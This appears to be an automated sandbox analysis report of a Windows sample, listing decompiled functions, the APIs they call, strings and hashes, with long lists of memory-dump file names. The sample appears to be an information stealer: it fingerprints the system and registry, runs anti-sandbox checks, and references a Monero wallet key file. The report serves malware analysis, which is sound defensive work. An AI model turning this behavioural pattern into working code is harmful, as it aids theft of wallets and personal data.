Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: 1ff72c5d5a1f50bafaa62df2b441b4dcd5bbb5aa9504faaaa5245df5e3dc247a
Instruction ID: b9cd32970ce8f0e4d8ae953008de421a16b8cc8ea237d378e8677ebb9cc30da3
Opcode Fuzzy Hash: 1ff72c5d5a1f50bafaa62df2b441b4dcd5bbb5aa9504faaaa5245df5e3dc247a
Instruction Fuzzy Hash: 5E31D5B4A40218ABDB20CF54DD85BDDB7B4EB48704F5081D9FB09A7281DB706EC58FA9

Function 6CBCC930 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 6CBCC947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6CBCC969
GetSystemInfo.KERNEL32(?), ref: 6CBCC9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6CBCC9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6CBCC9E2

Strings

7S+Y/, xrefs: 6CBCC939

Memory Dump Source

Source File: 00000000.00000002.1821237220.000000006CBB1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBB0000, based on PE: true

Associated: 00000000.00000002.1821216397.000000006CBB0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821292357.000000006CC2D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821317871.000000006CC3E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821340328.000000006CC42000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbb0000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID: 7S+Y/
API String ID: 4191843772-4163584386
Opcode ID: bd2e3474936e576aa8f8da7a4de1f63acd0277d303dd1ad35108ce7b7be5e137
Instruction ID: 9872ff464bf500e4e9d27b3404cfafd07e5b694b0eae81f0e0bfb52c432a6ca6
Opcode Fuzzy Hash: bd2e3474936e576aa8f8da7a4de1f63acd0277d303dd1ad35108ce7b7be5e137
Instruction Fuzzy Hash: 67212C317016146BDB16AF64EC88BEE7379EB4A740F600519F90BA7680DB705C408792

Function 00AD8100 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,0178DAF0,00000000,?,00AE0E2C,00000000,?,00000000), ref: 00AD8130
RtlAllocateHeap.NTDLL(00000000), ref: 00AD8137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00AD8158
wsprintfA.USER32 ref: 00AD81AC

Strings

@, xrefs: 00AD814D
%d MB, xrefs: 00AD81A3

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2922868504-3474575989
Opcode ID: 0a77dd9795839fb4ef1ba04edd7a718c8db775d65853636f446e8addeb5cfd9e
Instruction ID: d49d203cc8e0ab962e59eaa576f8e37d9331709630564b49c78be1d115fc0ef5
Opcode Fuzzy Hash: 0a77dd9795839fb4ef1ba04edd7a718c8db775d65853636f446e8addeb5cfd9e
Instruction Fuzzy Hash: 65210BB1E44318ABDB00DFD5CD49FAEB7B8FB44B10F10460AF606BB280D77869058BA5

Function 00AD83DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00AD8426
wsprintfA.USER32 ref: 00AD8459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00AD847B
RegCloseKey.ADVAPI32(00000000), ref: 00AD848C
RegCloseKey.ADVAPI32(00000000), ref: 00AD8499

Part of subcall function 00ADA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00ADA7E6

RegQueryValueExA.KERNEL32(00000000,0178DA48,00000000,000F003F,?,00000400), ref: 00AD84EC
lstrlen.KERNEL32(?), ref: 00AD8501
RegQueryValueExA.KERNEL32(00000000,0178D988,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00AE0B34), ref: 00AD8599
RegCloseKey.KERNEL32(00000000), ref: 00AD8608
RegCloseKey.ADVAPI32(00000000), ref: 00AD861A

Strings

%s\%s, xrefs: 00AD844D

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: 45f8be440eacdeb0eed6c8ddadeb389a9c8e2749589462e466238aa8b534b190
Instruction ID: 324d61d58bce6baed057341fe235881246495d4f428d8cd546204a6490e84006
Opcode Fuzzy Hash: 45f8be440eacdeb0eed6c8ddadeb389a9c8e2749589462e466238aa8b534b190
Instruction Fuzzy Hash: D821E9B1910218ABDB24DB54DC85FE9B3B8FB48710F00C5D9E60AA6240DF75AA85CFE4

Function 00AD7690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00AD76A4
RtlAllocateHeap.NTDLL(00000000), ref: 00AD76AB
RegOpenKeyExA.KERNEL32(80000002,0177B9A0,00000000,00020119,00000000), ref: 00AD76DD
RegQueryValueExA.KERNEL32(00000000,0178D9E8,00000000,00000000,?,000000FF), ref: 00AD76FE
RegCloseKey.ADVAPI32(00000000), ref: 00AD7708

Strings

Windows 11, xrefs: 00AD76BD

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: 863a5637682bd60f5ab1fba0136b5cbac17bb0972589c26011742210bf69bbe4
Instruction ID: 9c35a2f298859a41fef5f6adf0bcf7b803355c1649b4ee8fcf3370919ec74576
Opcode Fuzzy Hash: 863a5637682bd60f5ab1fba0136b5cbac17bb0972589c26011742210bf69bbe4
Instruction Fuzzy Hash: E80162B5A04308BBD704DBE8DD49F6EB7B8EB48701F108455FA09D7391E6B099008B61

Function 00AD7720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00AD7734
RtlAllocateHeap.NTDLL(00000000), ref: 00AD773B
RegOpenKeyExA.KERNEL32(80000002,0177B9A0,00000000,00020119,00AD76B9), ref: 00AD775B
RegQueryValueExA.KERNEL32(00AD76B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 00AD777A
RegCloseKey.ADVAPI32(00AD76B9), ref: 00AD7784

Strings

CurrentBuildNumber, xrefs: 00AD7771

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: c89d1f635215e989f8f6b82dd48a2538fd8f5c32df5efca2d3beea3aec77002b
Instruction ID: 7f29bf0940d7dd44ab678f6ef6704eb37c0c8abf4cef9ddfac8cfa34d142bedb
Opcode Fuzzy Hash: c89d1f635215e989f8f6b82dd48a2538fd8f5c32df5efca2d3beea3aec77002b
Instruction Fuzzy Hash: BF0117B5A40308BBD700DBE4DC49FAEB7B8EB44701F108555FA09E7381D6B459408B61

Function 00AD69F0 Relevance: 9.1, APIs: 6, Instructions: 89sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00AD9860: GetProcAddress.KERNEL32(75550000,01780600), ref: 00AD98A1
Part of subcall function 00AD9860: GetProcAddress.KERNEL32(75550000,01780840), ref: 00AD98BA
Part of subcall function 00AD9860: GetProcAddress.KERNEL32(75550000,017806D8), ref: 00AD98D2
Part of subcall function 00AD9860: GetProcAddress.KERNEL32(75550000,01780678), ref: 00AD98EA
Part of subcall function 00AD9860: GetProcAddress.KERNEL32(75550000,017807B0), ref: 00AD9903
Part of subcall function 00AD9860: GetProcAddress.KERNEL32(75550000,017889F0), ref: 00AD991B
Part of subcall function 00AD9860: GetProcAddress.KERNEL32(75550000,017763A0), ref: 00AD9933
Part of subcall function 00AD9860: GetProcAddress.KERNEL32(75550000,01776560), ref: 00AD994C
Part of subcall function 00AD9860: GetProcAddress.KERNEL32(75550000,01780570), ref: 00AD9964
Part of subcall function 00AD9860: GetProcAddress.KERNEL32(75550000,01780558), ref: 00AD997C
Part of subcall function 00AD9860: GetProcAddress.KERNEL32(75550000,01780768), ref: 00AD9995
Part of subcall function 00AD9860: GetProcAddress.KERNEL32(75550000,01780588), ref: 00AD99AD
Part of subcall function 00AD9860: GetProcAddress.KERNEL32(75550000,01776540), ref: 00AD99C5
Part of subcall function 00AD9860: GetProcAddress.KERNEL32(75550000,01780618), ref: 00AD99DE

Part of subcall function 00ADA740: lstrcpy.KERNEL32(00AE0E17,00000000), ref: 00ADA788

Part of subcall function 00AC11D0: ExitProcess.KERNEL32 ref: 00AC1211

Part of subcall function 00AC1160: GetSystemInfo.KERNEL32(?), ref: 00AC116A
Part of subcall function 00AC1160: ExitProcess.KERNEL32 ref: 00AC117E

Part of subcall function 00AC1110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 00AC112B
Part of subcall function 00AC1110: VirtualAllocExNuma.KERNEL32(00000000), ref: 00AC1132
Part of subcall function 00AC1110: ExitProcess.KERNEL32 ref: 00AC1143

Part of subcall function 00AC1220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 00AC123E
Part of subcall function 00AC1220: ExitProcess.KERNEL32 ref: 00AC1294

Part of subcall function 00AD6770: GetUserDefaultLangID.KERNEL32 ref: 00AD6774

Part of subcall function 00AC1190: ExitProcess.KERNEL32 ref: 00AC11C6

Part of subcall function 00AD7850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00AC11B7), ref: 00AD7880
Part of subcall function 00AD7850: RtlAllocateHeap.NTDLL(00000000), ref: 00AD7887
Part of subcall function 00AD7850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00AD789F

Part of subcall function 00AD78E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00AD7910
Part of subcall function 00AD78E0: RtlAllocateHeap.NTDLL(00000000), ref: 00AD7917
Part of subcall function 00AD78E0: GetComputerNameA.KERNEL32(?,00000104), ref: 00AD792F

Part of subcall function 00ADA9B0: lstrlen.KERNEL32(?,017889E0,?,\Monero\wallet.keys,00AE0E17), ref: 00ADA9C5
Part of subcall function 00ADA9B0: lstrcpy.KERNEL32(00000000), ref: 00ADAA04
Part of subcall function 00ADA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00ADAA12

Part of subcall function 00ADA8A0: lstrcpy.KERNEL32(?,00AE0E17), ref: 00ADA905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,01788AE0,?,00AE110C,?,00000000,?,00AE1110,?,00000000,00AE0AEF), ref: 00AD6ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00AD6AE8
CloseHandle.KERNEL32(00000000), ref: 00AD6AF9
Sleep.KERNEL32(00001770), ref: 00AD6B04
CloseHandle.KERNEL32(?,00000000,?,01788AE0,?,00AE110C,?,00000000,?,00AE1110,?,00000000,00AE0AEF), ref: 00AD6B1A
ExitProcess.KERNEL32 ref: 00AD6B22

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2931873225-0
Opcode ID: bbb4dc4c7c7b4ca47b8d411c33ab61b9f8bb045cec33fd3976eebda35be7f375
Instruction ID: 8450186e4fab93f6c1e09fa4ad680a180918621421c8a8d8859343cb48717cce
Opcode Fuzzy Hash: bbb4dc4c7c7b4ca47b8d411c33ab61b9f8bb045cec33fd3976eebda35be7f375
Instruction Fuzzy Hash: 1A314D71A00208AADB04FBF0DE56FEE7738AF54340F50451AF603A2392EF746905D7A6

Function 00AC99C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00AC99EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00AC9A11
LocalAlloc.KERNEL32(00000040,?), ref: 00AC9A31
ReadFile.KERNEL32(000000FF,?,00000000,00AC148F,00000000), ref: 00AC9A5A
LocalFree.KERNEL32(00AC148F), ref: 00AC9A90
CloseHandle.KERNEL32(000000FF), ref: 00AC9A9A

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
